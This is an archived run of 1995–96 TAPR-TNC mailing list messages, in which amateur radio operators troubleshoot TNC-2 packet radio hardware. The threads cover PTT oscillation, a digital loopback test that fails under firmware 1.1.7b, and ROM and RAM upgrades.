To: Bob Nielsen <nielsen@primenet.com>
Message-ID: <Chameleon.951125095704.bobsmith@i2020.net>
Rendered body type: text/plain

>I was wondering if anyone had successfully interfaced a TNC-2 or similar
>to a Kenwood TM421a (or 221, 321). I am having a problem with the PTT
>line oscillating. The PTT input to the radio goes directly to the CPU
>chip with a 47k pullup resistor. I suppose I could use a relay to key
>it, but thought I would ask first.
>
>TIA, Bob
>
>-----------
>Bob Nielsen   Internet: nielsen@primenet.com
>Tucson, AZ   AMPRnet: w6swe@w6swe.ampr.org
>http://www.primenet.com/~nielsen   AX.25: w6swe@wb7tls.az.usa.noam
>

Hi Bob,

Have operated TM-231, TM-421, and TM-2550 extensively with TNC2 (MFJ-1270)
and DRSI cards without PTT line problems. Here are some thoughts for you:

1. RF getting into the interface. All my interface cables are carefully shielded so
    I don't have experience with sensitivity to RF in non-shielded systems.

2. Do you have a proper common DC ground between tnc and radio so that
    current draw when radio is keyed doesn't product level shifts?

3. I have had some rare problems in past when tnc and radio were connected to
   same power supply. Suspect RF from radio DC leads getting into tnc
   via its power leads. Kenwood radios tend to come with excessively long DC
   leads. In my case a bypass at tnc dc jack and cleaning up cable placement
  solved problem.

4. You shouldn't need to resort to relay. An rf choke (or just small resistor, say
    150 ohms) and bypass caps on ptt line should solve it if problem is due
    to rf getting into radio.

5. Is your power supply stable under load? I have seen them power radio
     and tnc in receive mode but sag under xmit load causing them to "kerchunk"
     on and off when keyed. I have also run into power supples that sag badly
     when RF gets in the regulator circuits. Check system grounds and antenna
     placement.

    Best luck

  Robert L. Smith   804/745-1065   bobsmith@i2020.net
  Smith Machine Works, Inc.   wa4ypv@w4za.ampr.org

17. RE: [TAPR-TNC:157] Re: Interfacing TNC-2 to Kenwood TM421A

From: "Sadowski,P MAJ JCSAR/JT&E" <sadowskp@usafcrqs.nellis.af.mil>
Date: Fri, 24 Nov 95 14:36:00 cst
To: tapr-tnc <tapr-tnc@tapr.org>
Message-ID: <30B7A066@mailgtwy.nellis.af.mil>
Rendered body type: text/plain

From: tapr-tnc
To: tapr-tnc
Subject: [TAPR-TNC:157] Re: Interfacing TNC-2 to Kenwood TM421A
Date: Thursday, November 23, 1995 7:56AM

On Wed, 22 Nov 1995, Bob Nielsen wrote:

> I was wondering if anyone had successfully interfaced a TNC-2 or similar
> to a Kenwood TM421a (or 221, 321). I am having a problem with the PTT
> line oscillating. The PTT input to the radio goes directly to the CPU
> chip with a 47k pullup resistor. I suppose I could use a relay to key
> it, but thought I would ask first.
>
Bob, I had one.... it ended up that I had a flakey ground connection... good
luck with the problem

73's AH6LS

18. AEA PCB-88

From: n3vzl@desktop.n3vzl.ampr.org
Date: Sun, 26 Nov 95 11:03:14 UTC
To: tapr-tnc@tapr.org
Message-ID: <536@desktop.n3vzl.ampr.org>
Rendered body type: text/plain

Hi everyone--

Can anyone tell me a about my AEA PCB-88? Is it TNC2 compatible? What about
it's TAPR connector? If the TAPR connector is usable, do I need to run a ribbon
cable to bring the connector to an externally accessible position, or can I
just connect accessories directly to the port and let them rest on the PCB88?

And finally, are there any 2400 baud AFSK accessories that I can use with my
TNC? I saw a bulletin once for something that would only work with a few
TNC's and the PK-88 was listed. I'd be interested in knowing if I could have
used that device with my PCB-88.

Any pointers to email-retrievable Internet resources related to this topic
would also be appreciated (WAIS, FTP, Gopher, but not HTTP).

Thanks very much in advance, and best 73.

Steve N3VZL
n3vzl@wa3nwl.ampr.org

December 1995

Original source file: tapr-tnc.9512
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9512

1. Statement of purpose/regular posting

```
From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Thu, 7 Dec 1995 19:37:29 -0500 (EST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.951207193656.411H-100000@n2wx.ampr.org>
Rendered body type: text/plain
```

```
Tucson Amateur Packet Radio TAPR-TNC SIG
----------------------------------------

This message will be posted periodically.  Last post: 31 oct 95


To Unsubscribe:
---------------

To leave the TAPR-TNC SIG, send a message to

     listproc@tapr.org

with a blank subject.  In the body of your message, write

     SIGNOFF TAPR-TNC



------------------------
Statement of Purpose
------------------------

This SIG is intended to be a low volume, high s/n place to discuss issues
related to use of the TAPR (and clone) TNCs.  It is not moderated at this
time; list subscribers are requested to remain on topic and use discretion
to help keep up the s/n ratio.

The following subjects with respect to TNC-1 and TNC-2 are "on topic":

 o - Hardware bugs, problems, mods
 o - Firmware bugs, problems, patches
 o - TAPR documentation
 o - Interface issues
 o - Announcements of the above
 o - Suggestions for enhancements
 o - and anything else reasonably resembling the above

Although packet radio novices are invited to join, this is probably the
wrong place to post new user questions.  Faster and more complete replies
to new user questions are more likely to be found in one of the many
newsgroups in the rec.radio.amateur.* hierarchy.

This is also the wrong place to debate the merits of various manufacturer
offerings or to elicit suggestions about "Which TNC should I purchase?"
Please try the newsgroups.

At times, you may find your post is relevant to one of the other fine
TAPR SIGs as well as this one.  Initial crossposting is not necessarily a
bad idea.  Use your judgment.

Spirited, lively discussion is invited but flames will be promptly
extinguished.  The moderator reserves the right to deal with flames and
off-topic posts from a stance somewhere between complete arbitrariness and
Solomonesque.  Hopefully more of the latter than the former.

---------------
Other resources
---------------

TAPR maintains both file archives and a World Wide Web server that may
contain the answer to your questions.  You may wish to skim these
resources before to posting to the list:

   ftp to  ftp.tapr.org    /tapr/...
```

WWW to http://www.tapr.org/tapr/
                        and
        http://www.tapr.org/tapr/html/pkthome.html

73 Howie N2WX

2. Weak signals and TAPR TNC2s

From: w5rkn@amsat.org (Ronald G. Parsons)
Date: Sat, 23 Dec 1995 20:15:42 -0600
To: amsat-bb@amsat.org, tapr-tnc@tapr.org
Message-ID: <v02130502ad02675ab840@[204.181.160.9]>
Rendered body type: text/plain

I am using a TAPR TNC2 clone (MFJ 1270B) and wish to optimize my operation
for weak signal use (e.g., MIR at low elevations).

What is the optimum input signal level (volts p-p) to the TNC?

Are there any changes to the components of the TNC for better weak signal
operation.

Are there other TNCs that are better at weak signal 1200 bps packet
reception that a TAPR clone?

Ron W5RKN

also:
rparsons@bga.com

January 1996

Original source file: tapr-tnc.9601
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9601

1. Statement of purpose (periodic reposting)

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Fri, 5 Jan 1996 22:55:01 -0500 (EST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.960105225415.541A-100000@n2wx.ampr.org>
Rendered body type: text/plain

```
Tucson Amateur Packet Radio TAPR-TNC SIG
----------------------------------------

This message will be posted periodically.  Last post: 07 dec 95


To Unsubscribe:
---------------

To leave the TAPR-TNC SIG, send a message to

     listproc@tapr.org

with a blank subject.  In the body of your message, write

     SIGNOFF TAPR-TNC



------------------------
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------------------------

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related to use of the TAPR (and clone) TNCs.  It is not moderated at this
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 o - Firmware bugs, problems, patches
 o - TAPR documentation
 o - Interface issues
 o - Announcements of the above
 o - Suggestions for enhancements
 o - and anything else reasonably resembling the above

Although packet radio novices are invited to join, this is probably the
wrong place to post new user questions.  Faster and more complete replies
to new user questions are more likely to be found in one of the many
newsgroups in the rec.radio.amateur.* hierarchy.

This is also the wrong place to debate the merits of various manufacturer
offerings or to elicit suggestions about "Which TNC should I purchase?"
Please try the newsgroups.

At times, you may find your post is relevant to one of the other fine
TAPR SIGs as well as this one.  Initial crossposting is not necessarily a
bad idea.  Use your judgment.

Spirited, lively discussion is invited but flames will be promptly
extinguished.  The moderator reserves the right to deal with flames and
off-topic posts from a stance somewhere between complete arbitrariness and
Solomonesque.  Hopefully more of the latter than the former.

---------------
Other resources
---------------

TAPR maintains both file archives and a World Wide Web server that may
contain the answer to your questions.  You may wish to skim these
resources before to posting to the list:

   ftp to  ftp.tapr.org    /tapr/...
```

WWW to http://www.tapr.org/tapr/
                        and
        http://www.tapr.org/tapr/html/pkthome.html

73 Howie N2WX

2. Need Help on TNC-2 Digital Loop Back Test Problem

From: "David W. Smith" <dws@ids.net>
Date: Sun, 14 Jan 1996 23:36:01 -0500
To: tapr-tnc@tapr.org
Cc: dws@ids.net
Message-ID: <30F9D9B1.4755@ids.net>
Rendered body type: text/plain

I am in the process of restoring two TAPR TNC-2's that are
not working. I am stumped at a point the the final check out
and sure could use any advice/help anyone would be kind enough
to offer.

I have completed most of the final check out successfully but
am stuck at the last step of the Digital Loopback Test just
prior to the construction and calibration of the modem.

The first part of the Digital Loopback Test requires that I
install JMP 10, power the unit, enter a call sign, set the
TNC into the FULLDUP ON MODE, connect to my own call sign,
and enter "hello self" and observe the response. This all
works fine. I can disconnect with no problem.

The problem is the last step. I install a small jumper between
pins 4 and 6 of U20. Upon powering the unit I see that the
DCD LED remains off. I set the unit in the "FULL DUP OFF MODE"
and attempt to connect to myself again. The PTT LED blinks
OK but I never connect.

I have looked at everything I can think of. All modem IC
sockets U15,16,17,18,19 and 20 are empty (except for the
4 to 6 jumper at U20). JMP 10 is the only other jumper
installed in the unit. I have looked at signals with a scope
along the path from U21 pins 14 and 15 thru JMP 10 to U5 and U6
and they all have healthy edges and levels. Pin 19 of U21
(DCDA) is a solid high, the result of installing the U20
4 to 6 jumper. All transistors seem to be swithing fine.

Each unit is a TNC-2 REV2 with STATE ROM 1.09 installed. Each
has a TNC2 1.1.7b ROM installed.

Because I have two units doing the identical thing I suspect
that I am missing a step here but have been unsuccessful
at finding it so far and there is not much in the way of
help in the manual regarding a failure at this point. The
question is- What component could cause this to happen
when the first part of the Dig Loopback Test works?

I have worked on this on and off for three months. I sure
would love to get on tope of this problem.

Thanks for your help. It is greatly appreciated.

Dave Smith
        WA1UWU/dws@ids.net

3. Re: [TAPR-TNC:164] Need Help on TNC-2 Digital Loop Back Test Problem

From: Dave Zeph <zephd@iquest.net>
Date: Mon, 15 Jan 1996 08:40:21 +0000
To: tapr-tnc@tapr.org
Message-ID: <m0tbkSB-00032VC@iquest.net>
Rendered body type: text/plain

At 22:49 14/1/96 -0600, you wrote:
>   The problem is the last step. I install a small jumper between
>   pins 4 and 6 of U20. Upon powering the unit I see that the
>   DCD LED remains off. I set the unit in the "FULL DUP OFF MODE"
>   and attempt to connect to myself again. The PTT LED blinks
>   OK but I never connect.
>

Dave .... if you are following the procedure exactly, then after completing
the Digital Loopback Test you are supposed to:

    1) SET FULLDUP=OFF
    2) Turn off Power (this is the "secret I believe)
    3) Add the wire jumper between U20 Pins4 & 6
    4) Turn Power back On
    5) Try to connect to yourself

However you will note in the instructions that between Steps 4) and 5)
above, you are instructed to re-enter your callsign   (MY W1QRM). The
reason for this is that JMP5, the Jumper that connects the Lithium Backup
Battery HAS YET to be installed. Consequently when you turn off power in
between the two tests, the TNC looses your callsign.

The JMP5 Jumper is not installed until later in the procedure.

To verify my theory, check MYCALL after Step 4 above. My bet is that your
find it set to NOCALL rather than W1QRM or whatever callsign you used in the
Digital Loopback Test.

Hope this helps ....

73 ---> Dave, W9ZRX

****
Dave Zeph, W9ZRX
Home   : (317) 896-3876
FAX/Data : (317) 867-1809
E-Mail   : zephd@iquest.net

4. Re: [TAPR-TNC:164] Need Help on TNC-2 Digital Loop Back Test Problem

From: Howard Goldstein <howard@Melb.SciAtl.COM>
Date: Mon, 15 Jan 1996 07:53:44 -0500 (EST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.SUN.3.91.960115075108.2538C-100000@brandy>
Rendered body type: text/plain

On Sun, 14 Jan 1996, David W. Smith wrote:

>   The problem is the last step. I install a small jumper between
>   pins 4 and 6 of U20. Upon powering the unit I see that the
>   DCD LED remains off. I set the unit in the "FULL DUP OFF MODE"
>   and attempt to connect to myself again. The PTT LED blinks
>   OK but I never connect.

I don't remember what pins 4 & 6 of u20 are but some point back around
1.1.6 the firmware was modified to silently trash packets that were
received correctly but arrived without /DCD. If it works well with FULL
ON but not with it OFF I would start tracing back from the SIO's /DCD
input and see where it's failing.

Howie

5. Re: [TAPR-TNC:165] Re: Need Help on TNC-2 Digital Loop Back Test

From: "David W. Smith" <dws@ids.net>
Date: Mon, 15 Jan 1996 09:00:14 -0500
To: tapr-tnc@tapr.org
Message-ID: <30FA5DEE.E3@ids.net>
Rendered body type: text/plain

Dave Zeph wrote:
>
> At 22:49 14/1/96 -0600, you wrote:
> >   The problem is the last step. I install a small jumper between
> >   pins 4 and 6 of U20. Upon powering the unit I see that the
> >   DCD LED remains off. I set the unit in the "FULL DUP OFF MODE"
> >   and attempt to connect to myself again. The PTT LED blinks
> >   OK but I never connect.
> >
>
> Dave .... if you are following the procedure exactly, then after completing
> the Digital Loopback Test you are supposed to:
>
>   1) SET FULLDUP=OFF
>   2) Turn off Power (this is the "secret I believe)

> 3) Add the wire jumper between U20 Pins4 & 6
> 4) Turn Power back On
> 5) Try to connect to yourself
>
> However you will note in the instructions that between Steps 4) and 5)
> above, you are instructed to re-enter your callsign (MY W1QRM). The
> reason for this is that JMP5, the Jumper that connects the Lithium Backup
> Battery HAS YET to be installed. Consequently when you turn off power in
> between the two tests, the TNC looses your callsign.
>
> The JMP5 Jumper is not installed until later in the procedure.
>
> To verify my theory, check MYCALL after Step 4 above. My bet is that your
> find it set to NOCALL rather than W1QRM or whatever callsign you used in the
> Digital Loopback Test.
>
> Hope this helps ....
>
> 73 ---> Dave, W9ZRX
>
> **********
> Dave Zeph, W9ZRX
> Home : (317) 896-3876
> FAX/Data : (317) 867-1809
> E-Mail : zephd@iquest.net
> Dave,
Thanks for the reply. I was pretty sure I
had reentered the call sign. I tried again since
receiving your message and that is not the problem.

This is a real stumper. The funny thing is
that I built this unit 10 years ago at the same time
that a friend of mine did. We both seem to remember
that he had this problem then but we cannot recall
what he did to get out of it.

I have access to a large digital test system
and have tested each ic (excluding the processor and
sio chips and roms) individually from a functional
point of view. That would not exclude a race condition
that might exist. All ic's are as originally spec'd in
terms of speed though.

dws

6. Re: [TAPR-TNC:167] Re: Need Help on TNC-2 Digital Loop Back Test

From: Dave Zeph <zephd@iquest.net>
Date: Mon, 15 Jan 1996 22:06:22 +0000
To: tapr-tnc@tapr.org
Message-ID: <m0tbx42-00033SC@iquest.net>
Rendered body type: text/plain

At 08:09 15/1/96 -0600, you wrote:
> Dave,
> Thanks for the reply. I was pretty sure I
> had reentered the call sign. I tried again since
> receiving your message and that is not the problem.
>
> This is a real stumper. The funny thing is
> that I built this unit 10 years ago at the same time
> that a friend of mine did. We both seem to remember
> that he had this problem then but we cannot recall
> what he did to get out of it.
>
> I have access to a large digital test system
> and have tested each ic (excluding the processor and
> sio chips and roms) individually from a functional
> point of view. That would not exclude a race condition
> that might exist. All ic's are as originally spec'd in
> terms of speed though.
>
> dws
>

Sorry it wasn't that simple. Maybe N2WX's reply to you was closer to the
mark. In any event if the units calibrate, pass the the Digital and Analog
Loopback tests, the watchdog timer works, and they work on the air, then I
think I'd be willing to ignore this particular test. It's one I skip when I
Calibrate and test TNC's after repair.

73 ---> Dave
****
Dave Zeph, W9ZRX
Home   : (317) 896-3876
FAX/Data : (317) 867-1809
E-Mail   : zephd@iquest.net

7. TNC-2 DIGITAL LOOPBACK TEST PROBLEM-UPDATE

From: "David W. Smith" <dws@ids.net>
Date: Mon, 15 Jan 1996 21:45:23 -0500
To: tapr-tnc@tapr.org
Message-ID: <30FB1143.49B8@ids.net>
Rendered body type: text/plain

Well I have just made an interesting discovery. I located
the original system rom version 1.1.1 with the original
memory chips. I installed the original ROM and was able
to connect to myself on the last step of the Digital Loopback
test. Either there is a problem with my copy of 1.1.7b or
this test doesn't work with the 1.1.7b version of the op-system.
I never performed this test when I updated the rom. I can't
believe that I am the first to discover this problem with
the rom if that is what it is.

Does anyone know if version 1.8 is available for downloading?

I didn't see it in the software library. Only the state
rom seemed to be there unless i'm looking in the wrong
place.

dws   WA1UWU

8. Re: [TAPR-TNC:169] TNC-2 DIGITAL LOOPBACK TEST PROBLEM-UPDATE

From: "Bob Nielsen" <nielsen@primenet.com>
Date: Mon, 15 Jan 1996 21:50:54 +0700
To: tapr-tnc@tapr.org
Message-ID: <199601160451.VAA25436@usr4.primenet.com>
Rendered body type: text/plain

"David W. Smith" <dws@ids.net> writes:

> Well I have just made an interesting discovery. I located
>   the original system rom version 1.1.1 with the original
>   memory chips. I installed the original ROM and was able
>   to connect to myself on the last step of the Digital Loopback
>   test. Either there is a problem with my copy of 1.1.7b or
>   this test doesn't work with the 1.1.7b version of the op-system.
>   I never performed this test when I updated the rom. I can't
>   believe that I am the first to discover this problem with
>   the rom if that is what it is.
>
>   Does anyone know if version 1.8 is available for downloading?
>
>   I didn't see it in the software library. Only the state
>   rom seemed to be there unless i'm looking in the wrong
>   place.

ftp.tapr.org in /tapr/software_lib/eproms.exe (contains 1.1.8a, state
1.09 and kiss-only).

Bob

Bob Nielsen   Internet:nielsen@primenet.com
Tucson, AZ   AMPRnet: w6swe@w6swe.ampr.org
                               AX.25: w6swe@wb7tls.az.usa.noam

9. TNC-2 32K RAM chip Source

From: "Christopher E. Brown" <cbrown@thor.lostnet.org>
Date: Tue, 16 Jan 1996 09:24:26 +0000 (GMT)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.960116091823.4048A-100000@thor.lostnet.org>
Rendered body type: text/plain

Hello all.

I have a TNC-2 Rev 1 running the 1.1.2 rom. I need KISS mode, and have to
upgrade to a 1.1.5 or later ROM, which means getting the 32K chip to replace

the 2 8K in there now.

        Where is a good place to order this? I looked in the tapr w3 page
but the listed 6 - 8 week delivery time is a bit much. Also
willing to ship COD would be good, as an 18 y old student I have no
cred card.

Thanks

Christopher E. Brown   WL7CLA   Lostnet Systems Administration

                       <cbrown@thor.lostnet.org>
----

10. Re: [TAPR-TNC:171] TNC-2 32K RAM chip Source

From: Greg Jones <wd5ivd@tapr.org>
Date: Tue, 16 Jan 1996 04:50:06 -0600 (CST)
To: tapr-tnc@tapr.org
Message-ID: <199601161050.EAA22102@sys1.tapr.org>
Rendered body type: text/plain

The 6-8 weeks is maximum in some cases. SRAM is in stock now last I looked
when I was at the office.

Just drop a note to Dorothy.

Cheers - greg

>
>
>   Hello all.
>
> I have a TNC-2 Rev 1 running the 1.1.2 rom. I need KISS mode, and have to
> upgrade to a 1.1.5 or later ROM, which means getting the 32K chip to replace
> the 2 8K in there now.
>
>   Where is a good place to order this? I looked in the tapr w3 page
> but the listed 6 - 8 week delivery time is a bit much. Also
> willing to ship COD would be good, as an 18 y old student I have no
> cred card.
>
> Thanks
>
> --
> Christopher E. Brown   WL7CLA   Lostnet Systems Administration
>
>   <cbrown@thor.lostnet.org>
> --
>
>

11. Loop ??

From: nf4l@jaxnet.com (Mike Reublin)
Date: Tue, 16 Jan 1996 06:06:18 -0500
To: tapr-tnc@tapr.org
Message-ID: <199601161106.GAA25924@mailhub.jaxnet.com>
Rendered body type: text/plain

I've started getting double copies of mail from the sig. I know the
VE7TCP reflector had problems with a loop. Is it that I'm getting one copy
from U and one via the reflector? Maybe the "mailhub" in my address is wrong?

                                  73 de NF4L
****
Mike Reublin   email: nf4l@jax.jaxnet.com
****
through the serial port... off the modem... under the phone line.....
above the gateway... over the T1 backbone... nothing but NET!!!!
****

12. Returned mail: Service unavailable

From: errorMail not sent:return-address.to@rrz.debis.LOCAL.unknown@str.daimler-benz.com
Date: sender
To: <tapr-tnc@tapr.org>
Message-ID: reply-to
Rendered body type: text/plain

```
----- Transcript of session follows -----
Connected to uts66:
>>> HELO syssun7.rrz.debis.str.daimler-benz.com
<<< 553 syssun7.rrz.debis.str.daimler-benz.com host name configuration error
554 <e1e05@uts66>... Service unavailable

   ----- Unsent message follows -----
Received: from syssun8.rrz.debis.str.daimler-benz.com by syssun7.rrz.debis.str.daimler-benz.com
(5.0/SMI-SVR4)
        id AA13884; Tue, 16 Jan 1996 12:03:33 --100
Errors-To: <tapr-tnc@tapr.org>
Received: from sys1.tapr.org by syssun8.rrz.debis.str.daimler-benz.com (5.0/SMI-SVR4)
        id AA07945; Tue, 16 Jan 1996 11:59:35 --100
Received: from sys1.tapr.org (localhost [127.0.0.1]) by sys1.tapr.org (8.7.2/8.7.2) with SMTP id
FAA22233; Tue, 16 Jan 1996 05:01:22 -0600 (CST)
Date: Tue, 16 Jan 1996 05:01:22 -0600 (CST)
Message-Id: <199601161050.EAA22102@sys1.tapr.org>
Reply-To: tapr-tnc@tapr.org
Originator: tapr-tnc@tapr.org
Sender: tapr-tnc@tapr.org
Precedence: bulk
From: Greg Jones <wd5ivd@tapr.org>
To: tapr-tnc@tapr.org
Subject: [TAPR-TNC:172] Re: TNC-2 32K RAM chip Source
X-Listprocessor-Version: 6.0 -- ListProcessor by Anastasios Kotsikonas
X-Comment: Tucson Amateur Packet Radio  TNC Special Interest Group
Content-Type: text
X-Mailer: ELM [version 2.4 PL25]
In-Reply-To: <Pine.LNX.3.91.960116091823.4048A-100000@thor.lostnet.org> from "Christopher E. Brown" at
Jan 16, 96 03:29:28 am
Content-Length: 889

The 6-8 weeks is maximum in some cases. SRAM is in stock now last I looked
when I was at the office.

Just drop a note to Dorothy.

Cheers - greg

>
>
>       Hello all.
>
> I have a TNC-2 Rev 1 running the 1.1.2 rom.  I need KISS mode, and have to
> upgrade to a 1.1.5 or later ROM, which means getting the 32K chip to replace
> the 2 8K in there now.
>
>       Where is a good place to order this?  I looked in the tapr w3 page
> but the listed 6 - 8 week delivery time is a bit much.  Also
> willing to ship COD would be good, as an 18 y old student I have no
> cred card.
>
> Thanks
>
> ------------------------------------------------------------------------------
> Christopher E. Brown           WL7CLA           Lostnet Systems Administration
>
>                        <cbrown@thor.lostnet.org>
> ------------------------------------------------------------------------------
>
>
```

13. Re: [TAPR-TNC:169] TNC-2 DIGITAL LOOPBACK TEST PROBLEM-UPDATE

```
From: Howard Goldstein <howard@Melb.SciAtl.COM>
Date: Tue, 16 Jan 1996 07:51:26 -0500 (EST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.SUN.3.91.960116074921.3592B-100000@brandy>
Rendered body type: text/plain
```

On Mon, 15 Jan 1996, David W. Smith wrote:

> Well I have just made an interesting discovery. I located
>   the original system rom version 1.1.1 with the original

So what happened when you turned FULLDUP ON with 1.1.7b? Did it work or
didn't it work? Everything you've said thus far seems consistent with an
operating requirement of the newer code that I mentioned in a previous
posting.

14. administrivia - problems with list

From: Howard Goldstein <howard@Melb.SciAtl.COM>
Date: Tue, 16 Jan 1996 08:02:44 -0500 (EST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.SUN.3.91.960116075957.3592F-100000@brandy>
Rendered body type: text/plain

We seem to have a couple of problems here. Someone's account (with a
daimler-benz domain) is hosed and their IAP is not generating standard
bounce messages. These are being propagated on the list and for some
reason the propagated bounces are being bounced by a pair of subscribers'
MTAs.

Hopefully this will all be straightened out by this evening.

Howie

15. TNC-2 1.0.9 state rom

From: "Christopher E. Brown" <cbrown@thor.lostnet.org>
Date: Tue, 16 Jan 1996 16:38:38 +0000 (GMT)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.960116163433.5036B-100000@thor.lostnet.org>
Rendered body type: text/plain

Simple question, what is the function of the state rom?
When I update my rev 1 TNC-2 (1.0.8 state, 1.1.2 rom) will I also
need to update to the 1.0.9 state rom? If not, what is changed?
Would I benifit in going to the 1.0.9 rom?

Thanks

Christopher E. Brown   WL7CLA   Lostnet Systems Administration

                      <cbrown@thor.lostnet.org>
---

16. Re: [TAPR-TNC:171] TNC-2 32K RAM chip Source

From: "Bob Nielsen" <nielsen@primenet.com>
Date: Tue, 16 Jan 1996 11:33:24 +0700
To: tapr-tnc@tapr.org
Message-ID: <199601161833.LAA24938@usr4.primenet.com>
Rendered body type: text/plain

"Christopher E. Brown" <cbrown@thor.lostnet.org> wrote:

>
>   Hello all.
>
> I have a TNC-2 Rev 1 running the 1.1.2 rom. I need KISS mode, and have to
> upgrade to a 1.1.5 or later ROM, which means getting the 32K chip to replace
> the 2 8K in there now.
>
>   Where is a good place to order this? I looked in the tapr w3 page
> but the listed 6 - 8 week delivery time is a bit much. Also
> willing to ship COD would be good, as an 18 y old student I have no
> cred card.

If you only want to run KISS, a KISS-only eprom will run in 8k.

They are available from TAPR.

Bob

Bob Nielsen   Internet:nielsen@primenet.com
Tucson, AZ   AMPRnet: w6swe@w6swe.ampr.org
                              AX.25: w6swe@wb7tls.az.usa.noam

17. Re: [TAPR-TNC:177] TNC-2 1.0.9 state rom

From: Howard Goldstein <howard@Melb.SciAtl.COM>
Date: Tue, 16 Jan 1996 14:01:03 -0500 (EST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.SUN.3.91.960116135837.4197B-100000@brandy>
Rendered body type: text/plain

On Tue, 16 Jan 1996, Christopher E. Brown wrote:

>
>   Simple question, what is the function of the state rom?

Primarily to convert NRZI to NRZ. Later enhancements added (or improved)
software carrier detect functionality.

> When I update my rev 1 TNC-2 (1.0.8 state, 1.1.2 rom) will I also
> need to update to the 1.0.9 state rom?

No

> If not, what is changed?
> Would I benifit in going to the 1.0.9 rom?

Guys?

Administrivia: The message loop should be fixed now. Great big
Attaboy to TAPR.ORG's sysadmin Lee N5LYT

18. Re: [TAPR-TNC:175] Re: TNC-2 DIGITAL LOOPBACK TEST PROBLEM-UPDATE

From: "David W. Smith" <dws@ids.net>
Date: Tue, 16 Jan 1996 18:19:56 -0500
To: tapr-tnc@tapr.org
Message-ID: <30FC329C.74AD@ids.net>
Rendered body type: text/plain

Howard Goldstein wrote:
>
> On Mon, 15 Jan 1996, David W. Smith wrote:
>
> > Well I have just made an interesting discovery. I located
> >   the original system rom version 1.1.1 with the original
>
> So what happened when you turned FULLDUP ON with 1.1.7b? Did it work or
> didn't it work? Everything you've said thus far seems consistent with an
> operating requirement of the newer code that I mentioned in a previous
> posting.

        There was never any problem connecting to myself under
        the following setup:

                ROM 1.1.7b installed.
                JMP10 installed.
                Modem chips U16,U18 and U20 removed.
                Headers U16,U17 and U19 removed.
                Modem set to FULL DUP ON.

        The problem was the next step which specified in addition
        to the above:

                A wire jumper installed to short pin 4 and 6 of
                U20. (This forces the DCDA line one the sio/0 chip
                high.)
                Modem set to FULL DUP OFF.

        With the ROM version 1.1.7b installed this last step
        would not work. With the original ROM version 1.1.1
        installed, the test worked fine.

        I finished installing the modem chips, and calibrated
        the unit with the 1.1.1 rom installed. Everything worked
        fine. I then reintroduced the 1.1.7b rom and the unit
        still worked. The problem was having the 1.1.7b rom installed
        while trying to perform the FULL DUP OFF test.

        I have looked at the manual that supports version 1.1.8
        and the test is called out to be performed in the same
        manner. I have not tried 1.1.8 in the unit but I suspect
        that this step might have been missed in the manual
        as the system rom's were revised.   By the time
        1.1.7b or certainly 1.1.8 came out I don't know
        how many kits were being assembled and tested for the
        first time to the proceedure. Just speculation.

        dws

19. Re: [TAPR-TNC:180] Re: TNC-2 DIGITAL LOOPBACK TEST PROBLEM-UPDATE

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Wed, 17 Jan 1996 07:12:49 -0500 (EST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.960117071006.544C-100000@n2wx.ampr.org>
Rendered body type: text/plain

On Tue, 16 Jan 1996, David W. Smith wrote:

> Howard Goldstein wrote:
...
> > So what happened when you turned FULLDUP ON with 1.1.7b? Did it work or
> > didn't it work? Everything you've said thus far seems consistent with an
> > operating requirement of the newer code that I mentioned in a previous
> > posting.
...
>   The problem was the next step which specified in addition
>   to the above:
>
>   A wire jumper installed to short pin 4 and 6 of
>   U20. (This forces the DCDA line one the sio/0 chip
>   high.)
>   Modem set to FULL DUP OFF.

Yup there's the problem. The firwmare will trash the cleanest packets
this side of heaven for so long as it sees !DCD.

...

>   I have looked at the manual that supports version 1.1.8
>   and the test is called out to be performed in the same
>   manner. I have not tried 1.1.8 in the unit but I suspect
>   that this step might have been missed in the manual
>   as the system rom's were revised.   By the time
>   1.1.7b or certainly 1.1.8 came out I don't know
>   how many kits were being assembled and tested for the
>   first time to the proceedure. Just speculation.

Your speculation would seem to hit the mark. The manual needs updating!

--
Howard Goldstein   <hg@n2wx.ampr.org>   http://www.tapr.org/~n2wx/

20. tnc-1 upgrades

From: Chris Terwilliger <zoom@willow.sps.mot.com>
Date: Wed, 31 Jan 1996 14:56:39 -0700 (MST)
To: tnc sig <tapr-tnc@tapr.org>
Message-ID: <Pine.SUN.3.91.960131145331.29051A-100000@willow>
Rendered body type: text/plain

I've ordered the DCD mod and KISS ROM for my TNC-1. Now, am wondering
about ordering the 9600 baud modem. Does anyone else run the TNC-1 with
9600? How well does it work?

tnx
73
Chris, AA7WD
zoom@willow.sps.mot.com

21. 1/31/96 3:45:56 p

From: AlChan@aol.com
Date: Wed, 31 Jan 1996 18:47:03 -0500
To: tapr-tnc@tapr.org, alchan@ix.netcom.com, al.chan@toadhall.com,
        AlChan@aol.com
Message-ID: <960131184701_411565770@emout05.mail.aol.com>
Rendered body type: text/plain

zoom@willow.sps.mot.com (Chris Terwilliger) sez:

CT|>I've ordered the DCD mod and KISS ROM for my TNC-1. Now, am
CT|>wondering about ordering the 9600 baud modem. Does anyone else
CT|>run the TNC-1 with 9600? How well does it work?

Not to change the subject, but I presumed your DCD mod works like a charm.
Question: I have one of those ancient 1986 vintage PK-232 with no mod. What
exactly does the DCD mod do? If I made the Mod on my PK-232, how would it
improve the operation?

Thanks.

  AL
  """
           AlChan@aol.com   Al@w6dnt.ampr.org

22. pk232/DCD board

From: "Mark L. Hammond" <hammond@camel.campbell.edu>
Date: Thu, 01 Feb 1996 04:52:34 +0000
To: tapr-tnc@tapr.org
Message-ID: <1.5.4b11.32.19960201045234.007086a4@camel.campbell.edu>
Rendered body type: text/plain

I have a PK232 (similar vintage) with the TAPR DCD mod. For starters, it
